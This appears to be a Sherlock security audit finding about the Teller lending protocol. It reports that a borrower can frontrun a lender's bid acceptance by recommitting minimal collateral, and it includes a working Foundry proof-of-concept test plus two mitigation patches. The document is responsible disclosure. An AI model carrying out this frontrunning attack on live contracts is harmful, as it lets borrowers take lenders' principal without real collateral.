juancito - Borrowers can steal lenders principal without providing collateral by frontrunning lenderAcceptBid and updating the bid

[sherlock-admin]

juancito

high

Borrowers can steal lenders principal without providing collateral by frontrunning lenderAcceptBid and updating the bid

Summary

A malicious borrower submits a bid. A lender decides to accept the bid after he sees that the commited collateral is high enough.

The malicious borrower can frontrun the lender transaction and update the bid with the lowest possible amount, stealing the principal while not providing the collateral he was pretending to send.

Vulnerability Detail

The vulnerability lies on the fact that Tellerv2::lenderAcceptBid() does not check that the collateral values for the bid haven't changed in the meantime:

function lenderAcceptBid(uint256 _bidId)
    external
    override
    pendingBid(_bidId, "lenderAcceptBid")
    whenNotPaused
    returns (
        uint256 amountToProtocol,
        uint256 amountToMarketplace,
        uint256 amountToBorrower
    )
{
    // ...

Borrowers can update their commited collateral via CollateralManager::commitCollateral().

function commitCollateral(
    uint256 _bidId,
    Collateral[] calldata _collateralInfo
) public returns (bool validation_) {
    address borrower = tellerV2.getLoanBorrower(_bidId);
    (validation_, ) = checkBalances(borrower, _collateralInfo);

    if (validation_) {
        for (uint256 i; i < _collateralInfo.length; i++) {
            Collateral memory info = _collateralInfo[i];
            _commitCollateral(_bidId, info);
        }
    }
}

The commitCollateral function allows borrowers to commit the collateral while submitting a bid, or allow them to commit it later if they didn't do it beforehand:

    // @notice Function for a borrower to create a bid for a loan without Collateral.
    function submitBid(
        // ...

The commitCollateral function also allows borrowers to update the collateral values for their bid, as the collateral hasn't been put into escrow yet.

That can be exploited to frontrun the lender transaction and steal their principal as can be seen in the following test.

Proof of Concept

Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_commit_collateral_frontrun_exploit":

function test_commit_collateral_frontrun_exploit() public {
    // The original borrower balance for the DAI principal and WETH collateral
    assertEq(daiMock.balanceOf(address(borrower)), 50000);
    assertEq(wethMock.balanceOf(address(borrower)), 50000);

    // The original lender balance for the DAI principal -> This will be stolen
    assertEq(daiMock.balanceOf(address(lender)), 500000);

    // Submit bid as borrower
    uint256 bidId = submitCollateralBid();

    // The original bid is for 10 WETH
    uint256 originalCollateralAmount = collateralManager.getCollateralAmount(bidId, address(wethMock));
    assertEq(originalCollateralAmount, 10);

    // This is just to illustrate that some time passes (but it is irrelevant)
    vm.warp(100);

    // A potential lender finds the bid attractive and decides to accept the bid

    // The attack begins here
    // The malicious borrower sees the transaction in the mempool and frontruns it

    // The borrower prepares the malicious bid lowering the amount to the minimum possible
    Collateral memory info;
    info._amount = 1; // @audit minimum amount
    info._tokenId = 0;
    info._collateralAddress = address(wethMock);
    info._collateralType = CollateralType.ERC20;

    Collateral[] memory collateralInfo = new Collateral[](1);
    collateralInfo[0] = info;

    // The malicious borrower performs the attack by frontrunning the tx and updating the bid collateral amount
    vm.prank(address(borrower));
    collateralManager.commitCollateral(bidId, info);

    // The lender is now victim to the frontrunning and accepts the malicious bid
    acceptBid(bidId);

    // The borrower now has the expected 95 DAI from the loan (5 DAI are gone in fees)
    // But he only provided 1 WETH as collateral instead of the original amount of 10 WETH
    assertEq(daiMock.balanceOf(address(borrower)), 50095);
    assertEq(wethMock.balanceOf(address(borrower)), 49999); // @audit only provided 1 WETH

    // The lender lost his principal of 100 DAI, as the loan is only collateralized by 1 WETH instead of 10 WETH
    assertEq(daiMock.balanceOf(address(lender)), 499900);
}

Impact

Lenders lose their principal, as they end up with an uncollateralized loan.

Borrowers can steal lenders principal without providing collateral.

Code Snippet

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L470-L558

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L117-L130

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L263-L290

Tool used

Manual Review

Recommendation

I suggest two possible mitigations depending on the protocol intention.

A) If the intention is to allow borrowers to update their bids with different collateral values:

Consider checking that the lender accepts the bid with the expected parameters by providing a hash of those values. This can be either stored, or calculated on-the-flight with the values stored in CollateralManager:

    function lenderAcceptBid(uint256 _bidId)
        external
        override
        pendingBid(_bidId, "lenderAcceptBid")
        whenNotPaused
        returns (
+           bytes32 collateralHash,
            uint256 amountToProtocol,
            uint256 amountToMarketplace,
            uint256 amountToBorrower
        )
    {
        // Retrieve bid
        Bid storage bid = bids[_bidId];
+       bytes32 storedCollateralHash = ... // Obtain previous collateral hash
+       require(collateralHash == storedCollateralHash, "Hashes must be the same");

B) If the intention is to only allow borrowers to commit their collateral once, and to cancel the bid if they made a mistake or change their minds.

Consider checking that the collateral cannot be commited again:

    function commitCollateral(
        uint256 _bidId,
        Collateral[] calldata _collateralInfo
    ) public returns (bool validation_) {
        address borrower = tellerV2.getLoanBorrower(_bidId);
+       require(isBidCollateralBacked(_bidId) == false, "bid is already backed");

Duplicate of #170